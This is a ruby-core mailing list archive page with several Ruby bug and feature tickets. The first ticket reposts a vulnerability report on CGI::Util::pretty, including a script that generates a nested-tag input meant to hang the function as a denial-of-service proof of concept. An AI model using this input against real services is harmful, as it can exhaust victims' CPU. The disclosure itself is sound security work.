- ruby-core - ml.ruby-lang.org

[ruby-core:118672] [Ruby master Bug#20648] Improve performance of CGI::Util::pretty (originally reported as security issue, later decided to not be a security risk)
by somehacker (Jacob Miller) 01 Aug '24

01 Aug '24

Issue #20648 has been reported by somehacker (Jacob Miller). ---------------------------------------- Bug #20648: Improve performance of CGI::Util::pretty (originally reported as security issue, later decided to not be a security risk) https://bugs.ruby-lang.org/issues/20648 * Author: somehacker (Jacob Miller) * Status: Open * ruby -v: ruby 3.4.0dev (2024-02-09T12:28:26Z master 08b77dd682) [x86_64-linux] * Backport: 3.1: UNKNOWN, 3.2: UNKNOWN, 3.3: UNKNOWN ---------------------------------------- I originally reported this bug as a security issue, because it can be used as a potential DOS vector for applications. It was decided that this issue wasn't a security issue, so I am just going to copy paste the original hackerone report here: The vulnerability exists here (in lib/cgi/util.rb): ``` def pretty(string, shift = " ") lines = string.gsub(/(?!\A)<.*?>/m, "\n\\0").gsub(/<.*?>(?!\n)/m, "\\0\n") end_pos = 0 while end_pos = lines.index(/^<\/(\w+)/, end_pos) element = $1.dup start_pos = lines.rindex(/^\s*<#{element}/i, end_pos) lines[start_pos ... end_pos] = "__" + lines[start_pos ... end_pos].gsub(/\n(?!\z)/, "\n" + shift) + "__" end lines.gsub(/^((?:#{Regexp::quote(shift)})*)__(?=<\/?\w)/, '\1') end ``` The while loop has poor time complexity when parsing html. This means that an attacker can use the following python script: ``` #!/bin/sh # This file is an exploit script to demonstrate algorithmic complexity denial of service in the ruby cgi module. import itertools import string out = "" # Final exploit string how_many_chars = 5 # Just use "ABCDE" for now... chars = string.ascii_uppercase[:how_many_chars] tags = list(itertools.product(list(chars), repeat=len(chars))) # Generate all permutations of those five characters tags = ["".join(tag) for tag in tags] print(tags) for tag in tags: out += "<" + tag + ">" for tag in reversed(tags): # Reverse tags and close the html tags in the reverse order. out += "</" + tag + ">" print(out) # Save the exploit string to "exploit.txt" fh = open("exploit.txt", "w") fh.write(out) fh.close() exit(0) ``` to create a file called "exploit.txt" which when passed to the pretty function causes it to hang. Example vulnerable application: ``` require 'cgi/util' include CGI::Util puts "This should hang with exploit.txt!!!" puts pretty(ARGF.read) puts "Done!" ``` I have attached these files as a zip. To observe the hang, just run ruby vuln.rb < exploit.txt to pass the exploit string to the "pretty" function. Note that this pretty function is used in the html method in lib/cgi/html.rb : ``` def html(attributes = {}) # :yield: if nil == attributes attributes = {} elsif "PRETTY" == attributes attributes = { "PRETTY" => true } end pretty = attributes.delete("PRETTY") pretty = " " if true == pretty buf = "".dup if attributes.has_key?("DOCTYPE") if attributes["DOCTYPE"] buf << attributes.delete("DOCTYPE") else attributes.delete("DOCTYPE") end else buf << doctype end buf << super(attributes) if pretty CGI.pretty(buf, pretty) else buf end end ``` therefore an attacker can cause a denial of service when the pretty function is used indirectly by passing the "PRETTY" attribute to the html method. Also note that this denial of service vulnerability is not due to the poor performance of the regular expressions used in the function (this is not a ReDOS bug), but due to the poor time complexity of the while loop. This means that the ReDOS protection introduced in ruby 3.2.0 (https://blog.kiprosh.com/ruby-3-2-0-introduce/) won't protect the victim in this case. Version information: ``` $ ruby -v ruby 3.4.0dev (2024-02-09T12:28:26Z master 08b77dd682) [x86_64-linux] ``` Impact This poor time complexity of this function can cause the victims CPU usage to jump very high while processing the attackers exploit. This overloading can impact service performance and can cause excessive resource consumption. It was later decided to treat this as a regular bug instead. ---Files-------------------------------- demofiles.zip (15.3 KB) -- https://bugs.ruby-lang.org/

2 1

[ruby-core:111272] [Ruby master Bug#19231] Integer#step and Float::INFINITY - inconsistent behaviour when called with and without a block
by andrykonchin (Andrew Konchin) 01 Aug '24

01 Aug '24

Issue #19231 has been reported by andrykonchin (Andrew Konchin). ---------------------------------------- Bug #19231: Integer#step and Float::INFINITY - inconsistent behaviour when called with and without a block https://bugs.ruby-lang.org/issues/19231 * Author: andrykonchin (Andrew Konchin) * Status: Open * Priority: Normal * ruby -v: 3.1.2 * Backport: 2.7: UNKNOWN, 3.0: UNKNOWN, 3.1: UNKNOWN ---------------------------------------- The initial issue was reported here https://github.com/oracle/truffleruby/issues/2797. `0.step(Float::INFINITY, 10)` returns: - `Integers` when called with a block - `Floats` when called without a block I would expect `Floats` to be returned in both cases. Examples: ```ruby 0.step(100.0, 10).take(1).map(&:class) # => [Float] ``` ```ruby 0.step(Float::INFINITY, 10) { |offset| p offset.class; break } # Integer ``` When `to` argument is a finite `Float` value then calling with a block returns `Floats` as well: ```ruby 0.step(100.0, 10) { |offset| p offset.class; break } # Float ``` Wondering whether it's intentional behaviour. I've found a related issue https://bugs.ruby-lang.org/issues/15518. -- https://bugs.ruby-lang.org/

6 6

[ruby-core:118616] [Ruby master Bug#20637] SyntaxError class definition in method body can be bypassed
by tompng (tomoya ishida) 01 Aug '24

01 Aug '24

Issue #20637 has been reported by tompng (tomoya ishida). ---------------------------------------- Bug #20637: SyntaxError class definition in method body can be bypassed https://bugs.ruby-lang.org/issues/20637 * Author: tompng (tomoya ishida) * Status: Open * ruby -v: ruby 3.4.0dev (2024-07-11T06:59:45Z master a1f7432550) [x86_64-linux] * Backport: 3.1: UNKNOWN, 3.2: UNKNOWN, 3.3: UNKNOWN ---------------------------------------- Class definition in method body is prohibited in Ruby ~~~ruby def f class ::A; end # class definition in method body (SyntaxError) module B; end # module definition in method body (SyntaxError) end ~~~ But it can be bypassed by using `class <<` ~~~ruby def f class << Object.new class ::A; end # Syntax OK module B; end # Syntax OK end end ~~~ -- https://bugs.ruby-lang.org/

3 3

[ruby-core:118481] [Ruby master Feature#20612] Introduce new Epsilon (no-op) GC
by eightbitraptor (Matthew Valentine-House) 31 Jul '24

31 Jul '24

Issue #20612 has been reported by eightbitraptor (Matthew Valentine-House). ---------------------------------------- Feature #20612: Introduce new Epsilon (no-op) GC https://bugs.ruby-lang.org/issues/20612 * Author: eightbitraptor (Matthew Valentine-House) * Status: Open ---------------------------------------- ## Summary [[Github PR 11122]](https://github.com/ruby/ruby/pull/11122) This ticket proposes the introduction of a new GC, modelled on the [Epsilon collector introduced in Java 11](https://openjdk.org/jeps/318). This collector is an allocation only collector (ie. GC is a no-op), and is intended solely for testing and experimentation purposes. ## Background This ticket follows up the work in https://bugs.ruby-lang.org/issues/20470 to extract the GC into a GC interface (`gc.c`) and a seperate implementation (`gc_impl.c`). In order to test the extraction against it's stated goals of being able to load a new GC at runtime we need a "second system" GC implementation to continue testing and developing the interface. Epsilon GC is one of the simplest implementations of a GC that can be used for testing purposes, as it implements the correct interface needed to run Ruby code, but does no collection. ## Design It's modelled on the Epsilon collector introduced in JDK 11: A No-Op collector that implements memory allocation but no memory reclamation. Memory will continue to be allocated until the process exhausts all available memory and is shut down by the OS's OOM killer. This has the lowest possible GC latency, at the expense of memory footprint and throughput. This collector was built by initially copying the existing GC in it's entirety and stripping out the collection related concerns. For this reason it uses the same heap/page/slot allocation strategy as Ruby's existing GC. This choice was made for a few reasons: - Memory throughput: Traditionally and Epsilon collector would malloc every allocation, this GC uses an already established Ruby allocation implementation to reduce the number of malloc/free calls during allocation, allowing allocation to be faster. - Familiarity: Developers of the Ruby GC are already familiar with how allocation works in Ruby, this GC should remain simple to work on. - Simplicity: Using the existing allocation strategy allowed us to develop this quickly, and avoid having to deal with alignment issues, or abstraction leakage issues over the API. ## Usage The epsilon collection can be built as a shared library as follows: Mac: ``` clang -I../src/include -I. -I../src -I.ext/include/arm64-darwin23 -Wall -undefined dynamic_lookup -g -O0 -dynamiclib -o gc/epsilon.dylib ../src/gc/epsilon.c ``` Linux: ``` gcc -O0 -g -I. -I../src/ -I../src/include -I./.ext/include/x86_64-linux/ -Wall -fPIC -shared -lc ../src/gc/epsilon.c -o gc/epsilon.so ``` Ruby must be built with shared GC support, and the correct library directory set in the configure path. ``` ./configure --with-shared-gc=$(pwd)/gc ``` Then, the EpsilonGC can be loaded at runtime using the RUBY_GC_LIBRARY environment variable ``` RUBY_GC_LIBRARY=epsilon.dylib ./ruby test.rb ``` # Evaluation No benchmarking has been done on this code. This is intended for testing only. We verify that the EpsilonGC builds against the current version of the Ruby GC interface in Github Actions. -- https://bugs.ruby-lang.org/

5 5

[ruby-core:118237] [Ruby master Bug#20563] Drop support for old Windows
by nobu (Nobuyoshi Nakada) 31 Jul '24

31 Jul '24

Issue #20563 has been reported by nobu (Nobuyoshi Nakada). ---------------------------------------- Bug #20563: Drop support for old Windows https://bugs.ruby-lang.org/issues/20563 * Author: nobu (Nobuyoshi Nakada) * Status: Assigned * Assignee: usa (Usaku NAKAMURA) * Backport: 3.1: UNKNOWN, 3.2: UNKNOWN, 3.3: UNKNOWN ---------------------------------------- This is the table of APIs that we are calling dynamically, and the available Windows versions. DLL | API | Client | Server | ---------|--------------------------------|--------|--------| kernel32 | CreateSymbolicLinkW | Vista | 2008 | kernel32 | GetFileInformationByHandleEx | Vista | 2008 | kernel32 | GetFinalPathNameByHandleW | Vista | 2008 | kernel32 | SetFileInformationByHandle | Vista | 2008 | shell32 | SHGetPathFromIDListEx | Vista | 2008 | ws2_32 | inet_ntop | Vista | 2008 | ws2_32 | inet_pton | Vista | 2008 | kernel32 | GetSystemTimePreciseAsFileTime | 8 | 2012 | kernel32 | SetThreadDescription | 10 | 2016 | However, already random.c directly uses `BCryptGenRandom` that is available since Windows Vista/Server 2008. So I propose explicitly dropping support for Windows older than Vista/2008. -- https://bugs.ruby-lang.org/

3 5

[ruby-core:118737] [Ruby master Feature#20657] Allow Enumerable#map(&:method) and #each accept additional parameters for method
by ukolovda (Dmitry Ukolov) 31 Jul '24

31 Jul '24

Issue #20657 has been reported by ukolovda (Dmitry Ukolov). ---------------------------------------- Feature #20657: Allow Enumerable#map(&:method) and #each accept additional parameters for method https://bugs.ruby-lang.org/issues/20657 * Author: ukolovda (Dmitry Ukolov) * Status: Open ---------------------------------------- I can use `#map` (or `#each`) with short method name, for example: ``` ruby a = ["a1", "b1", "c1"] b = a.map(&:length) # or a.each(&:some_method) ``` But with additional arguments I must use yield: ```ruby c = a.map { |item| item.ljust(10) } # or a.each { |item| item.some_method(arg1, arg2) } ``` Direct sending allow make the code more simple: ```ruby c = a.map(&:ljust, 10) # Now give syntax error, unexpected ',', expecting ')' # or a.each(&:some_method, arg1, arg2) # Now give syntax error, unexpected ',', expecting ')' ``` -- https://bugs.ruby-lang.org/

4 4

[ruby-core:118109] [Ruby master Bug#20514] Open3#capture3 does not receive correct exit code from Heroku but Kernel#system does
by lakehs (Ashley Lake) 30 Jul '24

30 Jul '24

Issue #20514 has been reported by lakehs (Ashley Lake). ---------------------------------------- Bug #20514: Open3#capture3 does not receive correct exit code from Heroku but Kernel#system does https://bugs.ruby-lang.org/issues/20514 * Author: lakehs (Ashley Lake) * Status: Open * ruby -v: ruby 3.3.1 (2024-04-23 revision c56cd86388) [arm64-darwin23] * Backport: 3.1: UNKNOWN, 3.2: UNKNOWN, 3.3: UNKNOWN ---------------------------------------- Heroku has a command-line switch for returning the exit code from a detached process to the calling terminal via their CLI. However, Open3 doesn't appear to receive this exit code properly: ``` ruby irb(main):007> command = 'heroku run "rails db:migrate:status | grep \"down \"" --exit-code -a remote_app' => "heroku run \"rails db:migrate:status | grep \\\"down \\\"\" --exit-code -a remote_app" irb(main):008> params = {} => {} irb(main):009> stdout_str, stderr_str, status = Open3.capture3(command, params) => ["", "Running rails db:migrate:status | grep \"down \" on remote_app... provisioning, run.2070 (Shield-M)\n", #<Process::Status: pid 34912 exit 0>] irb(main):010> status => #<Process::Status: pid 34912 exit 0> irb(main):011> status.exitstatus => 0 ``` In this case, since I know that there are no migrations with status "down", grep should return an exit code of 1, not 0. Running the same command with system gives the expected result: ``` ruby irb(main):025> command = 'heroku run "rails db:migrate:status | grep \"down \"" --exit-code -a remote_app' => "heroku run \"rails db:migrate:status | grep \\\"down \\\"\" --exit-code -a remote_app" irb(main):026> res = system(command) Running rails db:migrate:status | grep "down " on ⬢ remote_app... provisioning, run.9202 (Shield-M) # intermediate output snipped › Error: Process exited with code 1 › Code: 1 => false ``` Switching "up" for "down" in the above grep statement yields `true` for exit code 0 when called with Kernel#system. This doesn't happen locally, but since Kernel#system gives the right results but Open3#capture3 does not, I don't think the problem is on Heroku's end. -- https://bugs.ruby-lang.org/

4 4

[ruby-core:115910] [Ruby master Bug#20088] Ruby 3.3.0 does not cross-complie on arm64-darwin
by stanhu (Stan Hu) 29 Jul '24

29 Jul '24

Issue #20088 has been reported by stanhu (Stan Hu). ---------------------------------------- Bug #20088: Ruby 3.3.0 does not cross-complie on arm64-darwin https://bugs.ruby-lang.org/issues/20088 * Author: stanhu (Stan Hu) * Status: Open * Priority: Normal * Backport: 3.0: UNKNOWN, 3.1: UNKNOWN, 3.2: UNKNOWN, 3.3: UNKNOWN ---------------------------------------- To reproduce: ```shell docker run -it ghcr.io/rake-compiler/rake-compiler-dock-image:1.4.0.rc2-mri-arm64-darwin bash cd /tmp export CPPFLAGS='' export CFLAGS='-O1 -fno-omit-frame-pointer -fno-fast-math -fstack-protector-strong ' export LDFLAGS='-pipe ' export CC=aarch64-apple-darwin-clang export MAKE='make V=1' rake-compiler cross-ruby VERSION=3.3.0 HOST=aarch64-apple-darwin ``` This errors out with: ```shell aarch64-apple-darwin-clang -O1 -fno-omit-frame-pointer -fno-fast-math -fstack-protector-strong -fdeclspec -O3 -fno-fast-math -ggdb3 -Wall -Wextra -Wextra-tokens -Wdeprecated-declarations -Wdivision-by-zero -Wdiv-by-zero -Wimplicit-function-declaration -Wimplicit-int -Wpointer-arith -Wshorten-64-to-32 -Wwrite-strings -Wold-style-definition -Wmissing-noreturn -Wno-constant-logical-operand -Wno-long-long -Wno-missing-field-initializers -Wno-overlength-strings -Wno-parentheses-equality -Wno-self-assign -Wno-tautological-compare -Wno-unused-parameter -Wno-unused-value -Wunused-variable -Wmisleading-indentation -Wundef -pipe -march=arm64 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fno-strict-overflow -fvisibility=hidden -DRUBY_EXPORT -fPIE -I. -I.ext/include/arm64-darwin -I/usr/local/rake-compiler/sources/ruby-3.3.0/include -I/usr/local/rake-compiler/sources/ruby-3.3.0 -I/usr/local/rake-compiler/sources/ruby-3.3.0/prism -I/usr/local/rake-compiler/sources/ruby-3.3.0/enc/unicode/15.0.0 -D_XOPEN_SOURCE -D_DARWIN_C_SOURCE -D_DARWIN_UNLIMITED_SELECT -D_REENTRANT -o main.o -c /usr/local/rake-compiler/sources/ruby-3.3.0/main.c clang: error: the clang compiler does not support '-march=arm64' make: *** [uncommon.mk:1291: main.o] Error 1 ``` This appears to be a regression due to https://github.com/ruby/ruby/pull/9250. `RUBY_DEFAULT_ARCH("$target_cpu")` is called, and this `case` statement is hit: ```ac AS_CASE([$build_os], [darwin*], [ARCH_FLAG="-arch "$1], [ARCH_FLAG=-march=$1] ``` I'm not sure this test is correct, since `$build_os` appears to be `linux-gnu`. This results in `-march=arm64` being used, which is not a valid option even in `clang` 15.0.0. Should `$target_cpu` and `$target_os` be considered instead? The `configure` output shows: ``` Configuration summary for ruby version 3.3.0 * Installation prefix: /usr/local/rake-compiler/ruby/aarch64-apple-darwin/ruby-3.3.0 * exec prefix: ${prefix} * arch: arm64-darwin * site arch: ${arch} * RUBY_BASE_NAME: ruby * enable shared: no * ruby lib prefix: ${libdir}/${RUBY_BASE_NAME} * site libraries path: ${rubylibprefix}/${sitearch} * vendor path: ${rubylibprefix}/vendor_ruby * target OS: darwin * compiler: aarch64-apple-darwin-clang * with thread: pthread * with coroutine: arm64 * enable shared libs: no * dynamic library ext: bundle * CFLAGS: -fdeclspec ${optflags} ${debugflags} ${warnflags} * LDFLAGS: -L. -pipe -fstack-protector-strong * DLDFLAGS: -pipe -Wl,-multiply_defined,suppress -Wl,-undefined,dynamic_lookup * optflags: -O3 -fno-fast-math * debugflags: -ggdb3 * warnflags: -Wall -Wextra -Wextra-tokens -Wdeprecated-declarations -Wdivision-by-zero -Wdiv-by-zero -Wimplicit-function-declaration -Wimplicit-int -Wpointer-arith -Wshorten-64-to-32 -Wwrite-strings -Wold-style-definition \ -Wmissing-noreturn -Wno-constant-logical-operand -Wno-long-long -Wno-missing-field-initializers -Wno-overlength-strings -Wno-parentheses-equality -Wno-self-assign -Wno-tautological-compare -Wno-unused-parameter \ -Wno-unused-value -Wunused-variable -Wmisleading-indentation -Wundef * strip command: aarch64-apple-darwin-strip -A -n * install doc: no * YJIT support: no * RJIT support: no * man page type: man * BASERUBY -v: ruby 3.1.3p185 (2022-11-24 revision 1a6b16756e) [x86_64-linux] ``` The `configure` statement for reference: ``` ./configure --host=aarch64-apple-darwin --target=aarch64-apple-darwin --build=x86_64-pc-linux-gnu --enable-install-static-library --disable-jit-support --disable-install-doc --with-ext= --enable-static --disable-shared --prefix=/usr/local/rake-compiler/ruby/aarch64-apple-darwin/ruby-3.3.0 ``` This was first reported in a CI failure in https://github.com/rake-compiler/rake-compiler-dock/pull/112#issuecomment-1…. -- https://bugs.ruby-lang.org/

3 3

[ruby-core:118706] [Ruby master Bug#20655] Calling continuation triggers ensure function of rb_ensure
by tagomoris (Satoshi Tagomori) 28 Jul '24

28 Jul '24

Issue #20655 has been reported by tagomoris (Satoshi Tagomori). ---------------------------------------- Bug #20655: Calling continuation triggers ensure function of rb_ensure https://bugs.ruby-lang.org/issues/20655 * Author: tagomoris (Satoshi Tagomori) * Status: Open * ruby -v: ruby 3.4.0dev (2024-07-26T10:18:32Z test-ensure-called.. 9327e49d31) [arm64-darwin23] * Backport: 3.1: UNKNOWN, 3.2: UNKNOWN, 3.3: UNKNOWN ---------------------------------------- The bug is reproduced when: * `rb_ensure(func1, arg1, func2, arg2)` is called with arguments: * func1: eventually calls `rb_f_require()` (or `Kernel#require` via rb_funcall) * func2: any C func * the required ruby script requires 'continuation' and calls `callcc` + `cont.call` In this situation, `cont.call` triggers the `func2` specified with `rb_ensure`, even without any exceptions. The `func2` call is triggered every time when `cont.call` is executed. If `cont.call` happens multiple times, `func2` will be called multiple times. I created a pull-request to add the test case of this bug: https://github.com/ruby/ruby/pull/11254 And @ko1 -san said this bug is reproduceable by this code (Dir.chdir uses rb_ensure): ``` require 'continuation' Dir.chdir('/tmp') do p [__LINE__, tmp = Dir.pwd] cont = nil callcc{|c| cont = c} p [__LINE__, Dir.pwd] exit! if Dir.pwd != tmp cont.call end ``` -- https://bugs.ruby-lang.org/

2 1

[ruby-core:118712] [Ruby master Feature#20656] Import Hash#except! from Active Support
by willianveiga (Willian Veiga) 28 Jul '24

28 Jul '24

Issue #20656 has been reported by willianveiga (Willian Veiga). ---------------------------------------- Feature #20656: Import Hash#except! from Active Support https://bugs.ruby-lang.org/issues/20656 * Author: willianveiga (Willian Veiga) * Status: Open ---------------------------------------- For some unknown reason, Hash#except! was not imported on #8499. We have Hash#except, but we don't have the bang version (Hash#except!). This feature request was created to address that. The new method except! should work exactly as describe on Ruby on Rails API reference: https://edgeapi.rubyonrails.org/classes/Hash.html#method-i-except-21 -- https://bugs.ruby-lang.org/

2 1